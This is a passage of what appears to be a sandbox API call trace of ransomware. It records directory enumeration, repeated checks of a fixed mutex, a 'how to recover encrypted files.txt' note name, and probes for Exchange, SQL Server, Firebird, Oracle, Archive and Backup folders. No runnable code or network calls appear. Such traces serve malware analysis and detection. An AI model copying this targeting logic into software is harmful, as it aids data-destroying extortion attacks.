lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.605] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Help\\msitss55.dll ", lpUsedDefaultChar=0x0) returned 4 [0045.605] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0045.605] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.605] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.605] GlobalUnlock (hMem=0x44000c) returned 0 [0045.605] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.605] GlobalLock (hMem=0x440004) returned 0x552180 [0045.605] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.605] GlobalUnlock (hMem=0x44000c) returned 0 [0045.605] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.605] GlobalUnlock (hMem=0x440004) returned 0 [0045.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d08, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0045.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0045.606] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0045.606] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.606] GlobalLock (hMem=0x440004) returned 0x550170 [0045.606] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.606] GlobalUnlock (hMem=0x440004) returned 0 [0045.606] GlobalLock (hMem=0x440004) returned 0x550170 [0045.606] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.606] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.606] GlobalUnlock (hMem=0x440004) returned 0 [0045.606] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.606] GlobalUnlock (hMem=0x44000c) returned 0 [0045.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.606] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.606] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.606] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.606] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.606] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.606] GlobalUnlock (hMem=0x44000c) returned 0 [0045.606] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.606] GlobalLock (hMem=0x440004) returned 0x553188 [0045.606] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.606] GlobalUnlock (hMem=0x44000c) returned 0 [0045.606] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.606] GlobalUnlock (hMem=0x440004) returned 0 [0045.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.607] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0045.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.607] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.607] GlobalLock (hMem=0x440004) returned 0x551178 [0045.607] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.607] GlobalUnlock (hMem=0x440004) returned 0 [0045.607] GlobalLock (hMem=0x440004) returned 0x551178 [0045.607] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.607] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.607] GlobalUnlock (hMem=0x440004) returned 0 [0045.607] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.607] GlobalUnlock (hMem=0x44000c) returned 0 [0045.607] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.607] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0045.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.607] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.607] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.607] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.607] GlobalUnlock (hMem=0x44000c) returned 0 [0045.607] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.607] GlobalLock (hMem=0x440004) returned 0x553188 [0045.607] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.607] GlobalUnlock (hMem=0x44000c) returned 0 [0045.607] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.607] GlobalUnlock (hMem=0x440004) returned 0 [0045.607] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.607] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0045.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.607] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.608] GlobalLock (hMem=0x440004) returned 0x551178 [0045.608] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.608] GlobalUnlock (hMem=0x440004) returned 0 [0045.608] GlobalLock (hMem=0x440004) returned 0x551178 [0045.608] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.608] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.608] GlobalUnlock (hMem=0x440004) returned 0 [0045.608] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.608] GlobalUnlock (hMem=0x44000c) returned 0 [0045.608] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.608] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0045.608] GetLastError () returned 0x12 [0045.608] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0045.608] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0045.608] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0045.608] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0045.608] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.608] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.608] GlobalUnlock (hMem=0x44000c) returned 0 [0045.608] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.608] GlobalLock (hMem=0x440004) returned 0x552180 [0045.608] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.608] GlobalUnlock (hMem=0x44000c) returned 0 [0045.608] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.609] GlobalUnlock (hMem=0x440004) returned 0 [0045.609] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.609] GlobalLock (hMem=0x440004) returned 0x550170 [0045.609] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.609] GlobalUnlock (hMem=0x440004) returned 0 [0045.609] GlobalLock (hMem=0x440004) returned 0x550170 [0045.609] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.609] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.609] GlobalUnlock (hMem=0x440004) returned 0 [0045.609] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.609] GlobalUnlock (hMem=0x44000c) returned 0 [0045.609] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.609] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", len=0x32 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned 1 [0045.609] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.609] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.609] GlobalUnlock (hMem=0x44000c) returned 0 [0045.609] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.609] GlobalLock (hMem=0x440004) returned 0x552180 [0045.609] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.609] GlobalUnlock (hMem=0x44000c) returned 0 [0045.609] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.609] GlobalUnlock (hMem=0x440004) returned 0 [0045.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\ition\\") returned 26 [0045.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@蠾T蠒T企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0045.610] GetLastError () returned 0x3 [0045.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\ition\\") returned 21 [0045.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@螬T企@\x18㿬Q\x181")) returned 0xffffffff [0045.610] GetLastError () returned 0x2 [0045.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\ition\\") returned 9 [0045.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0045.611] GetLastError () returned 0x2 [0045.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\ition\\") returned 8 [0045.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뱔R企@\x18?T\x18D")) returned 0xffffffff [0045.611] GetLastError () returned 0x2 [0045.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0045.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0045.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@螬T企@\x18帜R\x18j")) returned 0xffffffff [0045.612] GetLastError () returned 0x2 [0045.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0045.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0045.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뱔R企@\x18?T\x18q")) returned 0xffffffff [0045.612] GetLastError () returned 0x2 [0045.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\帘RP") returned 6 [0045.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0045.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18?T\x18y")) returned 0xffffffff [0045.613] GetLastError () returned 0x2 [0045.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0045.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0045.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@螬T企@\x18?T\x18\x81")) returned 0xffffffff [0045.613] GetLastError () returned 0x2 [0045.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0045.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0045.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, 